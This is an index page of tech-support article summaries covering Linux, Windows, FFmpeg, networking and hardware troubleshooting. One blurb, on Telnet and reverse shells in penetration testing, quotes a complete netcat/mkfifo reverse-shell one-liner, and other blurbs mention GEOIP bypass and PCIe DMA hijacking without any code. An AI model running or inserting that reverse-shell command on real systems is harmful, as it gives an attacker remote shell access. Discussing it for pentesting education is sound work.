Articles about r | UserComp.com

Bypassing GEOIP Protection with VPN: A Web Application Firewall Issue

A user reports that their web application firewall, which has GEOIP protection enabled, allows traffic within a Canadian site, but Google Analytics shows connections originating from Asia. This issue might be due to VPN usage. In this article, we'll discuss possible solutions to bypass GEOIP protection and ensure accurate geolocation data.

Graceful Shutdown of WSL2 with MDADM and p9subsystem on Ubuntu

Learn how to perform a graceful shutdown of WSL2 (Ubuntu, kernel: Linux home 6.1.21.2-microsoft-standard-WSL2) while accessing Windows applications via the standard p9 interface using MDADM and p9subsystem.

Setting up Kerberos SSO for web server login with Microsoft AD

Learn how to set up Kerberos Single Sign-On (SSO) for web server login using Microsoft Active Directory (AD) and Debian Apache. This tutorial will guide you through the process of configuring Kerberos authentication and Microsoft AD as the Key Distribution Center (KDC), enabling you to log in to your web server without typing credentials.

Do Docker Usernamespaces Really Work?

Docker users often encounter questions about usernamespaces and their effectiveness. In this article, we'll discuss the concept of usernamespaces, how they're used in Docker, and the benefits they provide.

Understanding Telnet Behavior in Penetration Testing: Reverse Shells in Unix

This article explains the behavior of Telnet in penetration testing, focusing on Unix systems and reverse shells. It covers a common command used in exploits: RUN rm/tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ip 4444 > /tmp/f.

Understanding the Difference: Pentesting Reverse Shells in Unix vs. Telnet

This article discusses the differences between executing reverse shells in Unix and Telnet during penetration testing. It covers a non-working and working Telnet session example, providing insights into the unique aspects of each environment.

Touchpad Right-Click Issue on Linux Mint Debian Edition Chromebook

Experiencing issues with right-clicking on a Linux Mint Debian Edition Chromebook touchpad? Find solutions in this tech support article.

Configuring OpenConnect VPN with NetworkManager on Linux for Split-Tunnel and Subnet Restriction

Learn how to set up a Split-Tunnel VPN using OpenConnect plugin with NetworkManager on Linux (Kubuntu), restricting VPN usage to a particular subnet by specifying an IPv4 route.

Expected Speed Up: M3 Pro Mac vs. Intel-based Machine - H.264/HEVC Encoding Comparison

A new M3 Pro Mac is much quicker than a previous Intel-based machine. However, the expected speed up when using H.264/HEVC toolbox encoding compared to libxencodings remains to be seen.

Unable to Access Internet after Changing Router: Troubleshooting SSH Connection in Proxmox

This article explains the steps to troubleshoot SSH connection issues in Proxmox when the router is changed.

How to Disable Portion Touchscreen in Ubuntu 20.04

Learn how to disable a portion of the touchscreen on Ubuntu 20.04. This article explains the steps to take for a more comfortable and productive experience.

Automatically Running Python Scripts: A Beginner's Guide

As a beginner Python programmer, you might be wondering if it's possible to have a script automatically loaded and executed in Python, similar to PowerShell scripts. In this article, we'll explore different methods to achieve this goal on various platforms such as Linux, Windows, and MacOS.

Installing FFmpeg: Troubleshooting 'Install File Doesn't Work'

Experiencing issues while installing FFmpeg? Learn how to troubleshoot common problems encountered during the installation process.

Troubleshooting Duplex Scanning on Epson Stylus Office BX635FWD

Experiencing issues with duplex scanning on your Epson Stylus Office BX635FWD? Learn how to configure the software for optimal results.

Automatically Loading Python Scripts: A Beginner's Guide

As a beginner Python user, you might be wondering how to automatically load and execute scripts in Python, similar to how PowerShell scripts are run. In this article, we'll cover the basics of Python script autoloading.

Move Cursor One Word to the Left in Excel: Keyboard Shortcut

In this tech support article, we will explain how to move the cursor one word to the left in Microsoft Excel using the keyboard shortcut.

Making a Move: Fixing Weird File Ownerships After Transferring Hard Drives

Learn how to resolve file ownership issues when transferring a hard drive to another computer.

Resolving MS Word Performance Issues When Editing Large Files (1000+ pages)

Learn how to resolve MS Word performance issues when editing large documents (1000+ pages) that take minutes to load and freeze. This article provides practical solutions for Windows, MacOS, and Linux users.

J5 USB C 2.5GBE Ethernet Adapter Randomly Losing Internet Access: Troubleshooting

Experiencing frequent internet connection drops with your J5 USB C 2.5GBE Ethernet adapter? This article provides troubleshooting steps to help you identify and resolve the issue.

File/Folder Doesn't Inherit New Parents Folder Permissions When Moved in Windows Server 2022

Learn how to resolve the issue of file permissions not being inherited when moving or cutting folders in Windows Server 2022.

DD Rescue Second Run: Windows 10 New SSD GParted Media Drive

This article provides a step-by-step guide on how to perform a second run of DD Rescue on a Windows 10 system with a new SSD and a GParted media drive. The first run was successful, and the log file is located at /path/to/map.log.

How to Format an External Drive Encrypted exFAT for Use with Windows 11

Learn how to format an external drive encrypted with APFS filesystem on Mac to exFAT for use with Windows 11.

Excel Formula Increases Every 3 Years Based on Current Year

Learn how to create an Excel formula that automatically increments a value every three years based on the current year.

Bare Metal OS Routes Traffic Through Tor: A Comprehensive Guide

Learn how to route traffic from a Bare Metal OS through Tor for enhanced security and privacy. This article covers the setup process and provides essential tips for configuring your system.

Understanding Ethernet Connection Issues: A Beginner's Guide

Struggling with Ethernet connection issues? Don't be overwhelmed. In this beginner-friendly guide, we'll help you understand the basics of Ethernet connections and provide some simple troubleshooting steps to get you back online.

Restoring EFS Certificate: A Smooth Process?

A user reports a seemingly straightforward process of restoring an EFS certificate with a .pfx file and password. However, they encountered no errors during the process.

Configuring Wordpress to Use MariaDB SSL: A Step-by-Step Guide

Learn how to configure your Wordpress site to use SSL-enabled MariaDB connections. Follow these steps to set up a secure database connection for your site.

How to Hijack PCIe Card for RDMA/DMA?

Learn how to hijack a PCIe card for Remote Direct Memory Access (RDMA) and Direct Memory Access (DMA) in this tech support article. Discover the steps to take advantage of these technologies for improved data transfer.

SSH Key WorksWith FileZilla: Not PuTTY - Raspberry Pi Upgrade to Bullseye

Learn how to use SSH keys in FileZilla instead of PuTTY during the Raspberry Pi upgrade to Bullseye.

Linux Ignoring NTFS Permissions: A Permission Problem with Broken HDD

Users may encounter permission problems when accessing files on a broken HDD formatted with NTFS, which is ignored by Linux. This article discusses potential solutions to the issue.

Enabling Hyper-V on a Ubuntu Guest for GPUs Passthrough

Learn how to enable Hyper-V on a Ubuntu guest operating system and configure GPUs passthrough for optimal performance.

Windows Explorer Not Showing Tooltip for Files/Folders: A Solution

If you're experiencing issues with Windows Explorer not showing tooltips for files or folders on Windows 11 or Windows 10, follow these steps to resolve the problem.

Removing Footer URL in Firebase-generated PDF

A user is having trouble removing the footer URL in a Firebase-generated PDF. This article provides a solution to this issue.

Understanding AMD GPU Output P-States on Linux

Learn about AMD GPU Output P-States and how they affect overclocking on Linux. This article explains the concept and provides examples.

Troubleshooting FFmpeg: Out-of-Sync Glitches with Concatenate Filter and Cut Segments

This article discusses solutions to out-of-sync glitches encountered when using FFmpeg's concatenate filter and cut segments. Learn how to fix these issues for optimal video playback on Linux, Windows, and MacOS.

Setting up a 144hz External Monitor with Omen Laptop (15-dc0005ne)

Learn how to connect and configure a 144hz external monitor with your Omen Laptop (15-dc0005ne). Discover the steps to optimize your gaming experience.

Accessing Internal Power Accessories on Dell Precision 5860 Tower

Users seeking to access internal power accessories on their Dell Precision 5860 Tower may follow these steps. Accessing internal power accessories can enhance system functionality and customization.

Accessing Internal Power Accessories of Dell Precision 5860 Tower

Learn how to access internal power accessories in Dell Precision 5860 Tower. A step-by-step guide to setting up your system effectively.

Troubleshooting Legion 515ARH05 BIOS Issue: Missing Bin File

Users report an issue with the Legion 515ARH05 where the latest Lenovo EXE file fails to extract the binrom file during the BIOS update process. This article provides a suggested solution.

Symlinking Data to External Drive for Mac: A Solution to Full Hard Drive due to Messages Library Data

Learn how to use symlinks to move Messages Library Data from a full hard drive to an external drive on a Mac.

Unable to Connect VirtualBox Guest OS (Rocky Linux 8) to Host (Windows 11) - No Internet Connectivity

This article provides a solution to the issue of a Rocky Linux 8 guest OS failing to connect to the internet on a Windows 11 host using VirtualBox.

Checking SecureBoot Status on a PXE Server for Multiple Installations

This article explains how to check the SecureBoot status on a PXE server that supports various installations, including Ubuntu and Windows 11.

FFMPEG: RTSP Clients Sending 'KeepAlive' Packets to IP Cameras

This article explains how to use FFMPEG libraries (Windows Build) to connect and stream RTSP from IP cameras such as Dahua and Hikvision. The pseudocode provided demonstrates the process of opening an input using avformat_open_input(...).

Creating Batch Files to Activate/Deactivate Third Monitor with MultiMonitorTool for Stream Deck

Learn how to create batch files to enable or disable the third monitor using MultiMonitorTool for Stream Deck.

Windows 11 Sandbox Not Initializing: Troubleshooting Steps

Learn how to troubleshoot and resolve issues with the Windows 11 Sandbox not initializing. Follow these steps to get your Sandbox running.

Finding Dark Mode Applications in LibreOffice except LibreOffice Draw with Specific Dark Color Scheme

Learn how to enable dark mode and find applications in LibreOffice that support a specific dark color scheme, excluding LibreOffice Draw.

Syncing Updates with MinIO: A Guide to Atomic File Replacement using mcmirror command

In this article, we will discuss how to use MinIO's mcmirror command for atomic file replacement during bucket file system syncing. This process ensures that files are replaced only if they have been completely uploaded or downloaded, preventing data loss and inconsistencies.

Creating tar.gz File Without Parent Folder: A Step-by-Step Guide

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